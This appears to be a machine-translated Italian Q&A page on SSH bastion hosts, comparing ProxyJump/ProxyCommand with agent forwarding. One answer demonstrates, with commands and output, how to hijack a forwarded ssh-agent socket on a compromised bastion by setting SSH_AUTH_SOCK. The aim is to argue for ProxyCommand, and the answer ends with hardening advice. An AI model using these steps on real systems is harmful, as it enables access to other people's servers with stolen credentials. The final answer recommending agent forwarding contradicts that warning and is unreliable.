GNU/Linux >> Linux Esercitazione >  >> Linux

Bastion server:utilizza l'inoltro TCP VS posizionando la chiave privata sul server

Utilizza ProxyCommand o ProxyJump

Consiglierei di usare ProxyCommand (o ancora meglio ProxyJump poiché la sintassi è più semplice ma richiede openssh 7.3+ penso sul lato client) e non è necessario distribuire la chiave privata su Bastion, tutto rimane locale.

Esempio con ProxyJump

Sul tuo computer client scrivi un file sotto ~/.ssh/config con un contenuto simile a muggito:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Poi facendo ssh srvC ti collegherà a C tramite B (bastione) senza l'inoltro dell'agente né la distribuzione della chiave privata al bastione.

Nell'esempio sopra, "bastion" è un alias per il tuo host Bastion e srvC è un alias per il tuo server C. Nel HostName devi inserire IP o un vero nome di dominio completo per i tuoi host. Per gli utenti, devi aggiornare il User per il nome di accesso corretto sul Bastion e sul server C. Infine il IdentityFile è facoltativo se utilizzi un agente locale (ad es. KeeAgent o ssh-agent), ma se non è in esecuzione, funzionerà anche e ti chiederà le passphrase di ogni chiave.

Distribuzione delle chiavi pubbliche

Ovviamente devi implementare il pubblico chiavi sia per bastion che per srvC. Puoi usare (il simbolo $ è solo per illustrare il prompt, non digitarlo):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Nota:quanto sopra funzionerà solo se l'autenticazione della password è ancora consentita. Dopo l'implementazione di cui sopra e la verifica che tutto funzioni come previsto, dovresti impedire l'autenticazione della password sui 2 server.

Esempio con ProxyCommand invece di ProxyJump

Se hai una versione precedente di OpenSSH che non supporta ProxyJump (sul lato client), quindi sostituisci:

ProxyJump bastion

di

ProxyCommand ssh -q -W %h:%p bastion

Per quanto ho capito, questo è simile.


Ho visto la risposta su ProxyJump. Parliamo di ProxyCommand .

Ma aspetta, aspetta! Posso scriverti come hackerare il server che utilizza l'inoltro dell'agente, sarebbe molto più facile capire la differenza!

Facciamo hack!

Per i passaggi di base:puoi leggere il mio post qui

I passaggi di base sono i seguenti:

  1. Crea utenti bastion
  2. Disattiva accesso root
  3. Blocca i tentativi di hacking
  4. Cambia porta
  5. Configura il firewall
  6. Configura SELinux

Come utilizzare AgentForwarding

-Crea la configurazione in ~/.ssh/config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Aggiungi la tua chiave di autenticazione a ssh-agent

ssh-add ~/.ssh/name_rsa

-Connettiti al bastion hos

ssh bast

-Connetti il ​​server delle applicazioni dal bastione

 ssh [email protected] -p PORT

Hacking!

Puoi, beh, farmi la domanda:

  • Il mio server è sicuro? E la risposta è piuttosto semplice:

    • NO!
  • Perché?

    • Perché stai utilizzando l'inoltro dell'agente SSH!
  • E dov'è il problema?

    • Perché l'inoltro dell'agente è pericoloso ed è considerato dannoso.
  • Perché?

    • Spieghiamo tutto alla rovescia:quando ti connetti al bastion host, il tuo glorioso agente ssh viene inoltrato. Significa che il socket verrà impostato in modo che qualcuno possa utilizzare questi dati del socket per accedere ai tuoi server. Immagina che il tuo bastion server sia compromesso, se qualcuno ha autorizzazioni sufficienti sul tuo server Linux, utilizzerà semplicemente le informazioni sul tuo socket. Di conseguenza, è possibile accedere a tutto il tuo server. So che la finestra di compromesso è molto piccola perché dipende da quanto tempo sei connesso al bastion host. Ma vuoi davvero rischiare quando hai altre opzioni come ProxyCommand? Quindi, usa ProxyCommand!

Come hackerare i server se hai compromesso il bastion host?

Traccia obiettivo

Nella directory /tmp potresti vedere qualcosa del genere:

[[email protected] tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Apriamo il file temporaneo

[[email protected] tmp]# cd ssh-mKX88v0Vlo/
[[email protected] ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Vediamo le connessioni a questo ID processo.

netstat -nxp | grep  10507

risultato:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

e chi è connesso?

lsof -i -a -p 10507

risultato:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Possiamo anche vedere i file socket:

cd /proc/10507/fd/
ls

risultato:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

E cosa succede quando il client sarà connesso al server remoto? vediamo:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Possiamo anche vedere se il file socket è usato usando netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Ruba informazioni sul socket e indirizzo IP

Ora dobbiamo rubare le informazioni sul socket mentre la sessione del bastion host è aperta . Oh, abbiamo anche bisogno dell'IP del server di destinazione , quindi usa netstat:

netstat -tn

Il passaggio finale per utilizzare il file socket inoltrato

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Controlla se la chiave è caricata .

ssh-add -l

il risultato dovrebbe essere qualcosa del genere :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Il server è stato violato, come risolvere il problema di sicurezza?

Comando proxy

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Per le operazioni di base:come trasferire i file tramite i server (da client a server, da server a client), puoi leggere il mio post qui

Conclusione

  • Se usi un bastion host, non usare AgentForwarding ma usaProxyCommand
  • Utilizza sempre un utente non root per l'autenticazione
  • Utilizza un firewall e blocca tutte le connessioni non necessarie.
  • Usa SELinux (in generale)
  • Blocca l'indirizzo IP che tenta di accedere più volte con credenziali errate
  • Se non è necessario, non concedere l'autorizzazione sudo all'utente
  • Monitora il tuo server
  • Aggiorna il tuo server per le patch di sicurezza

Maggiori informazioni, vedere il mio blog. Inoltre ho alcuni screenshot, quindi potrebbe esserti utile.


Utilizza semplicemente l'inoltro dell'agente SSH come la maggior parte degli altri.

  • Le chiavi saranno in ssh agent sul tuo portatile.
  • Accedi a bastion, autenticato tramite l'agente.
  • Da lì accedi al tuo host di destinazione, con la richiesta di autenticazione inoltrata al tuo laptop .

Vantaggio:non ci sono chiavi memorizzate sul bastione che possono essere utilizzate in modo improprio.

Spero di esserti stato d'aiuto :)


Linux
  1. Converti la chiave privata Openssh in una chiave privata Ssh2?

  2. Condivisione di chiavi private tra macchine?

  3. Altri scenari di utilizzo di Cloud Server

  4. Usa i suggerimenti per la pianificazione per creare un server

  5. Come usare ssh-copy-id su Ubuntu

Come generare e utilizzare una chiave SSH utilizzando PuTTY

Come aggiungere un IP privato a un server Ubuntu

Come aggiungere un IP privato a un server Debian

Crea un server cloud

Accedi a un server Linux con una chiave privata SSH su un client Windows

Usa NTP per sincronizzare l'ora